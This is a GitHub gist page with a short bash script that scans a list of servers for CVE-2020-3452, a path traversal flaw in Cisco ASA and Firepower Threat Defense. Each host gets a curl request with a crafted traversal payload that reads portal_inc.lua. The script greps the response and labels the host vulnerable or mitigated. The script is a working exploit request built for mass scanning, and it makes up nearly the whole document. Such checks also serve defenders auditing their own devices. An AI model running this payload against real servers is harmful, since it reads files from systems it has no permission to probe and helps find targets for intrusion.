Skip to content

Instantly share code, notes, and snippets.

@ihebski
Created August 2, 2020 12:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ihebski/b7ed8d53e81bbdb6ccc4c3c22f93ee2f to your computer and use it in GitHub Desktop.
Save ihebski/b7ed8d53e81bbdb6ccc4c3c22f93ee2f to your computer and use it in GitHub Desktop.
Scan CISCO ASA path traversal for several servers
#!/bin/bash
#
# CISCO ASA path traversal and Firepower Threat Defense - CVE-2020-3452
# Payload : @aboul3la
#
# Usage :
# $ echo "host1 host2 host3" | ./scanner
# $ cat myservers | ./scanner
#
servers="$(cat)"
for servers in $servers; do
# command test here
curl -vk --path-as-is "https://$servers/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" 2>&1 | grep "INTERNAL_PASSWORD_ENABLED" >/dev/null && echo "VULNERABLE: $servers" || echo "MITIGATED: $servers"
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment